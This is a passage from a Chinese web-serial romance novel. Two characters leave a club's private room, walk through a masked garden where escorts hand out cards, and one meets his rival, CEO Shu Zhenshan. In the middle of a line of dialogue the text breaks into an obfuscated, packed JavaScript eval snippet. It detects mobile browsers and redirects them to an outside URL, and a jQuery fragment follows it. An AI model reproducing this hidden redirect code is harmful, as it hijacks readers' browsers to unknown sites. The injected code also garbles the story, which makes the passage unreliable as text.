冉步月一个字还没讲出来,詹予然被他弟弟连环夺命call了快十个电话,一响就挂,挂了继续响。詹予然脸色奇差无比。 “噗,这么粘人。”冉步月都笑了,“你还是快回家吧。时间也不早了,我们下次再聊。” 詹予然把手机关机扔一边,冷道:“衰仔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15256325|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠抽。” 被这么一搅和,两人都没了八卦的兴致。披衣起身,侍者替他们拉开雅间门。 刚踏出房间,冉步月就敏锐地察觉到了氛围的转变。 灯光幽暗暧昧,空气中浮动着醉人的淡香。虽然花枝屏叠,看不清深处发生着什么,但莫名诱人进入曲径尽头一探究竟。 詹予然看他的表情,低声问:“想去看看?” 冉步月不置可否。 “去看看吧,没事的。不喜欢出来就行了,没有强制消费,这里你是上帝。”詹予然说,“这里比那些野蛮的鬼佬含蓄多了,公开区域不激烈,挺美的。” 冉步月莫名想到中午舒枕山说的那句“我还有很多备选”,不知怎么想的,淡淡点了点头。 詹予然交待了几句,侍者过来,给了冉步月一个镶满碎钻的面具,在他胸口别了一支黑曜石胸针,代表会员的身份。 和詹予然告别后,冉步月跟着侍者,在迷宫般的室内园林中穿行,花叶更加茂盛,香气变得更加浓郁。数步后,豁然开朗,仿佛进入一座夜间温室,繁花锦簇,透明的圆形穹顶外是深蓝夜空,星子点点。 温室花园里,人影绰约,带着面具的是宾客,露脸的是可供挑选的美人,很好分辨。 冉步月缓步其中,馥郁浓香,小提琴曲像河水一样荡漾。 一只骨节分明的手伸过来,往冉步月的衬衫胸袋里塞了一张卡片,卡片带着烟熏感的乌木香,很适配卡片的主人——高大英俊的白人男性,眼眸沉郁。 再走两步,又被塞了一张卡片,这次是冷调的雪松,属于一位白净贵气的东方男人,他带着皮质手套,从容地持着一支马鞭。 果真是种类齐全。 侍者提前向冉步月讲解了这里的规则,根据胸针的宝石类型,适配的美人会将代表自己的卡片递给他,逛完一圈,如果有中意的,就可以把卡片递给侍者,随后会直接为他们安排套房。中途直接挑走也可以,不要套房直接在温室里也可以。 挑选两张卡片及以下可以直接安排,选三张及以上就需要详细沟通一下玩法。 冉步月没逛完半圈,偶尔能听到花丛深处隐约的喘息,口袋里攒了半打卡片,已经逛不下去了。 他始终不喜欢这种把人当商品的生意,尽管这已经是富人们爱玩的各种无下限中最最体面的了。 冉步月掉头折返,没两步路,又一只男人的手伸过来,冉步月看都没看就摆了摆手,低声道:“不用了,谢谢。” 那只手却没收回去,冉步月这才注意到,他递卡的方式和别的男人都不一样。 其他人不论饰演的身份多上位者,递卡的手势都是很恭敬的,能看出他们对冉步月的讨好,能看出他们的服务属性。 而这个人,两根修长的手指间夹着一张薄薄的卡片,像夹着美金,直接塞进了冉步月的衬衫胸袋。他姿态从容,勾人也勾得很野性,反而显得更性感。 冉步月顺着他的手往上看,看到一张覆着面具的脸。 即使只露出利落的下颌线条和薄唇,冉步月也瞬间认出这人是谁,顿时鸡皮疙瘩爬了满背。 男人逼近半步,冉步月向后退了一步。 他摘下面具,露出一双鹰隼般深邃玩味的眼眸,低声道:“冉总监果然行程很满。” 冉步月冷笑:“舒总也不遑多让。” 舒枕山伸手取下冉步月胸口的胸针,淡道:“显然没人告诉你,取下这东西就没人会来烦你。” “不经允许私自动别人东西,很没礼貌。”冉步月把胸针抢了回来,重新给自己别上。顺利看到舒枕山的表情微妙地黑了一下。 冉步月把一叠卡片从口袋中拿了出来,故意慢慢地浏览:“Bevis, Geoffrey, Owen……” 带着不同香水味的卡片一张张翻下去,每张卡片正中央,都用花体英语印着男人的名字。 翻到最后一张,是一张正式的商务名片—— 舒枕山,砚川集团首席执行官。 英文名,Shu。 冉步月展开一手牌,打扑克似的,苦恼道:“选谁呢……” 擅长出千的大手覆上来,变魔术似的,瞬间变走了别的卡,眨眼间冉步月手里只剩下一张卡片。 名片上,皮革和香辛料的味道嚣张而危险,和别的男人都不一样。 “选好了。”舒枕山说。